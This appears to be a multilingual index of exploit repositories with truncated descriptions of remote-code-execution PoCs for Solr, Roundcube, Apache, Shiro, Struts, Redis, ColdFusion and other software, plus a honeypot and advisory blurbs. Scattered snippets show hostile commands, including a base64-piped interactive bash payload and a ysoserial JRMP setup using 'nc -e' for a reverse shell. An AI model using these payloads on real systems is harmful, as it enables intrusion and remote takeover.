solr_rce

Apache Solr RCE über Velocity-Vorlage Python-Nutzung: python solrrce.py http://x.x.x.x:8983 command getshell-Payload kodieren http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Solr-Einführung Solr ist die Open-Source-Enterprise-Suchplattform de...

CVE-2025-49113-Roundcube_1.6.10

CVE-2025-49113 – Roundcube 1.6.10 Esecuzione di codice remota autenticata ⚠️ Disclaimer Questo repository è inteso esclusivamente a scopo educativo e di ricerca. Tutte le dimostrazioni sono state eseguite in un ambiente di laboratorio controllato. Test o sfruttamenti non autorizzati di sistemi...

cve-2020-0618

CVE-2020-0618 Honeypot Rileva e registra i tentativi di sfruttare CVE-020-0618 RCE in SQL Reporting Services Serve contenuti e header come farebbe SSRS, per aumentare le probabilità di indicizzazione sui motori di ricerca es. Google, Shodan, ecc. Basato sull'ottimo lavoro di MDSec e x1sec...

CVE-2021-41773-Apache_2.4.49-Path-traversal-to-RCE

CVE-2021-41773 – Apache HTTP Server 2.4.49 Remotecodeausführung ⚠️ Haftungsausschluss Dieses Repository ist ausschließlich für Bildungs- und Forschungszwecke bestimmt. Die hier bereitgestellten Informationen und Codes können in kontrollierten Umgebungen wie privaten Labormaschinen verwendet werden...

CVE-2019-3980-Open_Net_Admin_v18.1.1_RCE

CVE-2019-3980 – OpenNetAdmin 18.1.1 Esecuzione Remota di Codice ⚠️ Disclaimer Questo repository è destinato esclusivamente a scopi educativi e di ricerca. Le informazioni e il codice qui forniti possono essere utilizzati in ambienti controllati , come macchine di laboratorio private. L'uso non...

CVE-2018-17179-OpenEMR

CVE-2018-17179-OpenEMR ⚠️ 면책 조항 이 저장소는 교육 및 연구 목적으로만 제공됩니다. 여기 제공된 정보와 코드는 통제된 환경예: 개인 실험실 머신에서만 사용할 수 있습니다. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에 대해 이 코드를 무단으로 사용하는 것은 불법적이고 비윤리적입니다. 저자는 이로 인한 어떠한 오용이나 손해에 대해서도 책임지지 않습니다. 🔍 취약점 정보 CVE-2018-17179 는 널리 사용되는 오픈 소스 전자 의무 기록 및 진료 관리 소프트웨어인 OpenEMR 에 영향...

ThinkCMF_getshell

Vulnerabilità di inclusione arbitraria di contenuti nel framework ThinkCMFgetshell Un attaccante remoto, senza richiedere alcun privilegio, può eseguire codice arbitrario sul server remoto inviando un pacchetto di richiesta appositamente costruito. utilizzo python: + python ThinkCMFgetshell.py...

SHIRO-721

SHIRO-721 Vulnerabilità RCE del Padding Oracle di RememberMe 0x00 Introduzione: Il RememberMe del cookie è crittografato tramite AES-128-CBC, il che lo rende vulnerabile agli attacchi Padding Oracle. Un attaccante può utilizzare un cookie RememberMe valido come prefisso per l'attacco Padding...

PoC_CVE-2016-2098_Rails42

Ein PoC für CVE-2016-2098 Rails 4.2.5.1 View enthält anfälligen Code app/views/poc/render1.html.erb folgender Befehl führt zu Remotecodeausführung $ curl ':3000/poc/render1?template\inline='...

CVE-2024-48990

CVE-2024-48990 und CVE-2024-48992 Um festzustellen, ob ein Python-Prozess ein Prozess, der den Python-Interpreter ausführt neu gestartet werden muss, extrahiert needrestart die Umgebungsvariable PYTHONPATH aus der /proc/pid/environ-Datei dieses Prozesses in Zeile 193, setzt diese Umgebungsvariabl...

SHIRO-550

Vulnerabilità di deserializzazione di Shiro RememberMe 1.2.4 SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

EUVD-2026-67579

SOY CMS contains an issue with deserialization of untrusted data. An arbitrary code may be executed by an attacker with the web server privilege...

CVE-2026-78032

SOY CMS contains an issue with deserialization of untrusted data. An arbitrary code may be executed by an attacker with the web server privilege...

CVE-2026-78032

SOY CMS is affected by a deserialization of untrusted data vulnerability that allows an attacker to execute arbitrary code with web server privileges . The vulnerability is rated CRITICAL with a CVSS 3.0 base score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) and a CVSS 4.0 base score of 9.3 . No...

st2-048

Vulnerabilità di esecuzione di codice remoto St2-048 Apache Struts 2 possibile RCE nell'app Struts Showcase nell'esempio del plugin Struts 1 nella serie Struts 2.3.x http://struts.apache.org/docs/s2-048.html https://cwiki.apache.org/confluence/display/WW/S2-048 Utilizzo: root@kitploit: python...

Redis-RCE

Redis-RCE esecuzione remota di codice per redis4 e redis5 codice python da https://github.com/Ridter/redis-rce Esecuzione del comando riuscita caricando il file so, che estende il nuovo comando system.exec strings explin.so |grep sys root@kitploit: system system.exec syserrlist.h sysnerr syserrli...

CVE-2023-47129

CVE-2023-47129 - Statamic CMS Versionen 4.33.0 - Remote Code Execution Beschreibung In Versionen 4.33.0 von Statamic CMS, bei denen das Frontend ein Formular mit aktivem Datei-Upload enthält, ist es möglich, PHP-Dateien zu senden, die so erstellt wurden, dass sie wie Bilder aussehen, unabhängig v...

CVE-2022-1040

CVE-2022-1040-sophos-rce-poc sophos rce poc sophos webmin portal auth bypass e rce tutto in un unico script; La vulnerabilità colpisce Sophos Firewall v18.5 MR3 18.5.3 e versioni precedenti Mitigazione: aggiorna all'ultima versione il prima possibile...

WSO2-2021-1259

WSO2-2021-1259: H2-RCE über bösartige JDBC-Verbindungszeichenfolge in WSO2 ESB Aufgrund der unsachgemäßen Eingabevalidierung kann ein Angriff zur Remote-Codeausführung mithilfe bösartiger H2-JDBC-Verbindungszeichenfolgen durchgeführt werden. Offenlegung durch den Anbieter: Die Offenlegung und der...

ColdFusion_EXp

أداة استغلال CVE-2023-29298/CVE-2023-26360 لرد الاتصال Reverse Shell مقدمة مبدأ الثغرة هو أن البيانات التي نبنيها في طلبات عميل CFML تُحفظ في coldfusion-out.log على الخادم؛ هذا الدليل يسجّل معلومات أخطاء الطلبات، وملف coldfusion-out.log يحتوي على الكود الذي نكتبه، ثم نستخدم classname لقراءة وتنفي...